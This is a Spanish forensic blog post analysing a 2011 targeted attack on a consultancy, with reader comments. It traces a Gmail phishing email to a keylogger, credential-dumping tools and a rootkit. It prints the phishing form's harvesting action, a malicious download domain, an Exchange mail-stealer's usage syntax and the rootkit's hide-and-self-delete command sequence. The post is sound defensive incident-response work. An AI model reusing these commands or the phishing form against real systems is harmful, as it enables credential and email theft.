Incident Response, Security and Forensics"

.

viernes, 9 de septiembre de 2011

Un ataque persistente (APT)

Hola lectores,

Perdón por el retraso, es lo que hay, mucho trabajo y que no falte que estamos en crisis. :-)

Ha sido un verano movido con mis nuevas funciones y casi no he parado, motivo que hace que no pueda escribir con la misma frecuencia de antes. No obstante CONEXIONINVERSA siempre será un punto de encuentro donde exponer todo lo que aprendo, especialmente en aquellos casos divertidos y complejos y que puedan de alguna forma ayudar a todos los que os guste este maravilloso mundo del Análisis Forense Informático.

Hoy vamos a ver un ataque especifico, insidioso y pensado para hacer mucho daño.

Advance Persistent Threat

Es un concepto que muchos ya sabréis este se denomina APT que significa Advance Persistent Threat, que no es otra cosa que un nuevo vector de ataque que tiene un propósito definido y que su objetivo es abrir una brecha o fallo de seguridad sin que la empresa tenga constancia de que la tiene y de ahí robar la mayor información posible.

Es un tipo de ataque que se alarga en el tiempo y suele pasar inadvertido por usuarios y administradores de sistemas. Los atacantes suelen actuar en equipo y poseen altos conocimientos de seguridad informática. Muchos de estos ataques son financiados por gobiernos o el cibercrimen y tienen relaciones políticas, económicas o militares. Aquí interviene el dicho "la información es poder".


EL CASO

En el mes de Julio estuve colaborando con una compañía que de forma rutinaria descubrió con asombro que su empresa era objeto de un ataque APT.

Según me comentaba el cliente (una firma de alto prestigio internacional dedicada a la auditoría y consultoría) nada les hacia pensar que ellos mismos podrían ser objetivos de un ataque de esta magnitud. A día de hoy, los dirigentes de esta compañía no son capaces de cuantificar  que y cuanto ha podido ser sustraído y que problemas les puede venir en el futuro.

Nuestro caso empieza con una simple alerta de un usuario (un directivo)  que dice haber recibido un correo de un colaborador externo (de otro directivo) y en el que le solicitan que introduzca las credenciales de una cuenta de gmail (que el no dispone) para el acceso a unos documentos de Google Docs. Tras una revisión por parte de los administradores se detecta que han recibido cientos de correos dirigidos a empleados solicitando las claves de gmail de los usuarios.

Hasta aquí puede ser otro caso más de phising y los administradores podrían haber marcado el correo y 'santas pascuas', nadie se hubiera enterado, pero parece ser que muchos usuarios han introducido las claves y han abierto estos documentos, detectando más tarde como veremos que se han infectado con un curioso malware.

ANALISIS DEL ATAQUE:

Procedemos tras unos días de investigación, a revisar los correos que los usuarios han recibido.

Como decía anteriormente, las víctimas reciben un mensaje desde una dirección de email que aparentemente es de un estrecho colaborador de una de las empresas que forman este grupo empresarial y  que evidentemente mas tarde se demostró que es falsa. El contenido del correo es un formulario que 'invita' a introducir las credenciales de 'gmail' para acceder a Google Docs con un sugerente contenido de correo con ficheros adjuntos de nombres "Technical_Airport_Docs.docx" "Report_confidential_employees.xls".


El formulario HTML está codificado en Base64 y las cabeceras del correo vienen a decir lo siguiente:

........................
Received: from omh-ma01.r1000.mx.aol.com (omh-ma01.r1000.mx.aol.com [172.29.41.7])
    by mtaout-da03.r1000.mx.aol.com (MUA/Third Party Client Interface) with ESMTP id 663DEE0000F1
    for XXXXXXXX@gmail.com>; Tue,  11 Jul 2011 12:32:11 -0400 
Received: from mtaout-ma02.r1000.mx.aol.com (mtaout-ma02.r1000.mx.aol.com [172.29.41.2])
    by omh-ma01.r1000.mx.aol.com (AOL Outbound Holding Interface) with ESMTP id 5CDF8E000086
    for XXXXXXXX@gmail.com>; Tue,  11 Jul 2011 12:32:11 -0400 
Received: from web-server (unknown [122.146.219.130])
    by mtaout-ma02.r1000.mx.aol.com (MUA/Third Party Client Interface) with SMTP id 40157E000F42
    for XXXXXXXX@gmail.com>; Tue,  11 Jul 2011 12:32:11 -0400 
Date: Tue, 11 Jul 2011 12:32:11From: XXXXXXXXXXXXX
To: XXXXXXXXXX
Subject: Nueva documentación: Novedades
X-Mailer: Foxmail 6, 10, 201, 20  - Foxmail es muy utilizado en China para realizar ataques de phising
Mime-Version: 1.0
Content-Type: text/html;
Content-Transfer-Encoding: base64
X-AOL-SCOLL-SCORE: 1:2:254689392:93952408  
X-AOL-SCOLL-URL_COUNT: 2  
X-AOL-IP: 122.146.219.130  - Ubicado en Taipei en Taiwan
x-aol-global-disposition: G
X-AOL-SCOLL-SCORE: 1:2:278191424:93952408  
X-AOL-SCOLL-URL_COUNT: 2  
x-aol-sid: 3039ac1d33834e37e77f14f3

PGI+WW91ciBhY2NvdW50IHdpbGwgYmUgbG9ja2VkIGZvciB1bnVzdWFsIGFjY291bnQgYWN0
aXZpdHksIHdoaWNoIGluY2x1ZGVzLCBidXQgaXMgbm90IGxpbWl0ZWQgdG86PGJyPg0KPG9s
Pg0KPGxpPlJlY2VpdmluZywgZGVsZXRpbmcsIG9yIGRvd25sb2FkaW5nIGxhcmdlIGFtb3Vu
dHMgb2YgbWFpbCB2aWEgUE9QIG9yIElNQVAgaW4gYSBzaG9ydCBwZXJpb2Qgb2YgdGltZS48
L2xpPg0KPGxpPlNlbmRpbmcgYSBsYXJnZSBudW1iZXIgb2YgdW5kZWxpdmVyYWJsZSBtZXNz
YWdlcyAobWVzc2FnZXMgdGhhdCBib3VuY2UgYmFjaykuPC9saT4NCjxsaT5Vc2luZyBmaWxl
LXNoYXJpbmcgb3IgZmlsZS1zdG9yYWdlIHNvZnR3YXJlLCBicm93c2VyIGV4dGVuc2lvbnMs
IG9yIHRoaXJkIHBhcnR5IHNvZnR3YXJlIHRoYXQgYXV0b21hdGljYWxseSBsb2dzIGluIHRv
........truncado a proposito



La información nos indica:


Es decir el correo parece que tiene su origen desde Taiwan, ahora procedemos a ver el contenido del formulario 'html' previamente descodificado. Esta es la información que ofrece (en color rojo):


form name=3D"1318a6060f9f02b2_mygmail_loginform" action=3D"http://www.lsbu.ac.uk/php4-cgiwrap/hscweb/cm/login.php" method=3D"post" target=3D"_blank" ons=
ubmit=3D"alert("This form has been disabled."); return false">{di=
v name=3D"gaia_loginbox">
--------------------------------
input name=3D"AGALX" value=3D"NIE34iN5DAAYY" type=3D"hidden">=20
 input name=3D"myEmail" size=3D"18" value=3D"xxxxxxxxxxxxxxx@gmail.com" typ=
e=3D"text">{/td>

Una URL que apunta a un servidor web propiedad de London South Bank University y que nada tiene que ver con los dominios del cliente, revisando el dominio (lsbu.ac.uk), vemos que apunta a una dirección ubicada en Reino Unido. La pregunta es ¿Estará comprometido el servidor?



A continuación procedo a introducir en el formulario unas credenciales falsas de una cuenta que me he creado previamente en Gmail. También capturo el trafico para ver que información devuelve.



Si nos fijamos en la captura del tráfico, estamos mandando las claves al atacante y una vez enviadas nos dirige a una url de Google Docs. Lo curioso del tema es que es una url pública a la que se accede sin autenticación.


Como es de sospechar, hay muchas posibilidades de que nos encontremos con malware, o quizás algún 0 Day. En este punto 'clonamos' y virtualizamos  el equipo windows de la persona que dio la alerta a los administradores con objeto de simular de forma precisa el entorno.

Tras iniciar el entorno virtual y ponernos a analizar el documento procedemos como medida cautelar a descargarlo y enviarlo a Virus Total, con nulos resultados.



En apariencia no hay malware (0 de 44 motores ), pero lo mejor es ejecutarlo y para ello vamos a proveernos de nuestras mejores tools de nuestra preciada caja de herramientas y añadiré las de Sysinternals con objeto de monitorizar lo que hace en nuestro entorno Windows. Os recomiendo la lectura del blog del grande Mark Russinovich el autor de Sysinternals sobre "Analyzing a Stuxnet Infection with the Sysinternals Tools, Part 1, 2, 3"y que podéis leer desde aquí.

Me dispongo a lanzar el documento y espero unos minutos para que en el mejor de los casos si es un malware le de tiempo al equipo infectarse tranquilamente. Esto es lo que ha ocurrido de una forma resumida.

El archivo '.docx' da un clásico error de 'runtime' como el siguiente:


Tal y como lo estamos monitorizando, se ha lanzado un proceso de nombre 'file.exe' y se ha creado un fichero '.html' en la siguiente ruta:

C:\Documents and Settings\KLY\Local Settings\Temp\mhzksbnz.html





Revisando los strings del nuevo proceso apunta a que registra las pulsaciones del teclado. ¿será un keylogger?

El proceso 'file.exe' crea también un fichero 'UpdaterInfo.dat' y diversas librerías .dll y otros diversos ficheros 'html'.


En este momento hago un volcado de memoria utilizando Dumpit de la empresa MoonSols y cuyo fundador es el gran Matthieu Suiche.

DumpIt es una fusión de win32dd y win64dd en un único archivo ejecutable. Sólo un doble clic sobre el ejecutable es suficiente para generar una copia de la memoria física en el directorio actual.

Tras el análisis del fichero de memoria, utilizando las tools de Volatility procedo a extraer el proceso del fichero de memoria y enviarlo a Anubis (un analizador de binarios) confirmando que efectivamente se trata de un keylogger. (ver reporte aquí)

No obstante con objeto de comprobarlo y mirando tal y como indica el informe, efectivamente existe el fichero en la máquina clonada y el contenido de UpdaterInfo.dat contiene todo lo tecleado hasta el momento.



CONTINUAMOS...

Seguimos investigando y vemos que el proceso lanza una conexión a internet y por HTTP se conecta al siguiente dominio 'tomitomi.cn - 195.248.234.157' (registrado a nombre de Zhejiang 5 Red interior design companyy procede a la descarga de un fichero comprimido de nombre 'gamer.zip'

Este fichero se almacena en la carpeta 'temp' y contiene a su vez los siguientes ficheros:


  • iam.exe 
  • iam.dll 
  • m.exe 
  • r.exe
  • y.exe
  • sas.bat 

Los ficheros 'iam.exe' e 'iam.dll', son detectados por virustotal como herramientas de Hacking, el fichero 'y.exe' es detectado por 25 motores de 41 como malware y los demás archivos no son detectados por ninguno de los motores. 

IAM.EXE - IAM.DLL

Los ficheros 'iam.exe' e 'iam.dll' no son exactamente malware y pertenecen a un conjunto de herramientas de la empresa CORE SECURITY. Estos ficheros (según se indica en la web) permite cambiar en memoria las credenciales NTLM asociados con la sesión actual de Windows, es decir el nombre de usuario, dominio y hashes.

Todo apunta a que este 'raro-ware' esta pensado para robar las credenciales de los usuarios. 

M.EXE

'm.exe' es una variación de 'getmail' y sirve para recuperar mensajes de correo electrónico

He adjuntado los dos 'strings' de ambos, con objeto de ver si contiene algo interesante y vaya si lo tiene.

'm.exe' se puede utilizar para recuperar mensajes de correo electrónico de un servidor Exchange. El uso según los 'strings' es el siguiente:

Ejemplo:

%s -s:sn-server1.mailserver.com -u:exuser4 -t:2011-7-25-14 -o:c:\winnt\temp
%s -s:ExchangeServer -u:UserName -t:YYYY-MM-DD-HH -o:SavePath

Es necesario especificar el nombre de usuario, nombre del servidor, rango de fechas y la ubicación donde guardar los correos robados. Una vez lanzado al servidor Exchange los mensajes de correo electrónico se convertirá en texto y archivos adjuntos guardados en carpetas.


R.EXE

El ejecutable 'r.exe' es el archivo 'rar.exe' de Winrar, dado que no tiene huella para comprobar su integridad, procedo a descargarlo y aplicar la huella en MD5 y SHA1 coincidiendo ambas dos y dado que no me fío vuelvo a pasarlo por Virustotal y varios analizadores de binarios. También comparo los strings, aparentemente es el mismo fichero.


Y.EXE

'y.exe' añade al sistema funcionalidades de rootkit, ya que registra los procesos que se ejecutan al iniciar el sistema, crea archivos en el directorio Windows, modifica partes del registro y sustituye comandos de sistema operativo.

Entre ellos crea el fichero 'C:\WINDOWS\system32\prxy.dll' y un archivo por lotes de nombre 'sas.bat' a continuación se crea un proceso basando en 'cmd.exe' con el siguiente comando 'cmd /c rundll32 prxy.dll,RundllInstall' y con los posteriores comandos:

cmd /c attrib +h +s prxy.dll
cmd /c net start bits
cmd /c net stop bits
cmd /c rundll32 prxy.dll,RundllInstall
prxy.dll
cmd /c sas.bat
del %s
del %s /as
ping 127.0.0.1 -n 3
del sas.bat

PRXY.DLL


Creado por 'Y.EXE' parece que reemplaza el servicio legitimo BITs de windows ubicado en la siguiente rama del registro:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BITS\Parameters

'prxy.dll' parece que permite la descarga de software sin que los antivirus o cortafuegos hagan algo al respecto, dado que al tratarse de un servicio legitimo estos permiten la entrada y salida de trafico hacia internet. (esto no lo tenemos claro todavía)

SAS.BAT

Como su nombre indica es un fichero de proceso por lotes y quizás este es el mas sorprendente de los ficheros analizados por el contenido.


Se puede apreciar que este fichero es parte de otro y que su objetivo es capturar hashes y contraseñas. Una vez las obtiene (al igual que los correos en formato texto) se propone a empaquetarlas en un archivo que no ofrezca sospechas como ~WRD0100.tmp. He de decir que no se han encontrado los ejecutables 'PWDumpx.exe'.

Si descomprimimos el archivo ~WRD0100.tmp nos encontramos con lo siguiente:


Un montón de correos electrónicos, presumiblemente lanzados por el ejecutable 'm.exe'

CONSIDERACIONES

Aunque no hemos realizado ingeniería inversa de la mayoría de los ejecutables (estamos todavía en ello) podemos determinar que disponemos de un montón de evidencias de que la empresa ha sido víctima presumiblemente de un ataque auto-dirigido.

¿QUE HA OCURRIDO?

Bueno aunque con este desglose todavía es pronto para dar unas conclusiones exactas de lo ocurrido, me atrevo a decir lo siguiente:

Los hackers, han lanzado un ataque auto-dirigido con objeto de comprometer las cuentas de Gmail y apoderarse de datos privados de los empleados de está empresa, (no me atrevo a decir con que objeto). Aprovechando el ataque han instalado (utilizando ingeniería social) desde un keylogger hasta un kit de herramientas para la elevación de permisos, obtención de documentos y correos electrónicos.

Por lo que parece no se sabe muy bien si esto ha llegado a funcionar, dado que parece que faltan ejecutables y todo apunta a que no estaba muy bien construido el malware, pero solo es una opinión y todavía faltan cosas por contrastar.

¿CONCLUSIONES?

En este punto surgen muchas dudas, por ejemplo ¿Como se envían los datos robados y a quien?. ¿porque quieren las cuentas de gmail de estos usuarios?, ¿Quien tiene este especial interés?, ¿Es alguien de dentro o de fuera?, ¿Desde cuanto tiempo llevan actuando?.

Stutnex dio la bandera de salida, fue famoso internacionalmente por su complejidad e innovación, pero la cuestión es ¿cuantos de estos ataques en menor medida pasan en las empresas?, un pendrive en la puerta de un bar donde vas a tomar café, ¿no lo 'enchufarías' para ver lo que hay?. ¿Miramos lo suficiente nuestros log's de sistemas y aplicaciones?, quizás llegado a este punto donde la tecnología es parte fundamental de nuestra vida, deberíamos de prestar especial atención a esas pequeñas cosas como un escaneo de red, tráfico que no solemos tener o una regla modificada.

Deberemos de pensar en cosas como SIEM y disponer de inteligencia en nuestros sistemas de información que informen ante una anomalía.

Todavía son muchas preguntas sin respuesta y en este instante mientras lees el post, en esta empresa (que sufre en silencio las hemorroides) siguen limpiando, revisando log's y actualizando políticas de contraseñas. También estamos haciendo el análisis forense y quedan muchas cosas por mirar.

Una cosa más y por último, a día de hoy, algo o alguien todavía entra en mi cuenta ficticia de Gmail.


7 comentarios:

Muy buen análisis.

La verdad es que siempre pensamos que estas cosas les pasan "a otros" pero siempre deberíamos mirar nuestras empresas por si las moscas.

Buen trabajo!

Desde luego que se echaban de menos. Tus publicaciones son siempre tremendamente instrutivas.

Pensando en lo que nos cuentas, la puerta de entrada ha sido convencer a los empleados para que abran adjuntos "malintencionados", algo casi imposible de impedir.

La pregunta que me surge es la siguiente: ¿hubiesen impedido la intrusión las típicas medidas básicas de seguridad de puestos de escritorio?. Estoy pensando en usuarios que no son Administradores ni usuarios avanzanzados y una actualización regular del software.

Por lo que comentas se trataba de un .docx que aprovechaba un desbordamiento en Word, ¿se hubiese evitado teniendo el producto actualizado?.
Por otro lado parece que el bicho manipulaba el sistema de archivos por debajo de la carpeta c:\Windows y además reconfiguraba servicios y cosas similares. ¿Podría haberlo hecho si el usuario no fuese administrador?.

Solo son reflexiones en voz alta pensando en cuan útil es, o no es, el esfuerzo que invertimos en aplicar esas prácticas en una organización.

Saludos y gracias por compartir tan interesantes experiencias.

Concuerdo con David que da la sensación que la empresa no estuviera aplicando políticas de seguridad que considero actualmente se consideran básicas en las organizaciones que se precien de preocuparse por sus datos.

Aclaro que por las empresas que paso, no lo vi en ninguna.

Solo les gusta tener la falsa sensación de seguridad, y gatillar a pricewaterhousecoopers para que les firmen las auditorias.

Me ha resultado interesante incluso a mí, que no tengo ni puñetera idea y mucho menos una empresa.
:-))
Elegante análisis.

Excelente artículo, la primera vez que leo el blog, un saludo desde Argentina!

Muy buen post, un ejemplo muy ilustrativo y además de un caso real.

Por favor no en cuanto avances en tus pesquisas actualiza el post.

¿Qué piensas hacer con lo de la cuenta de gmail?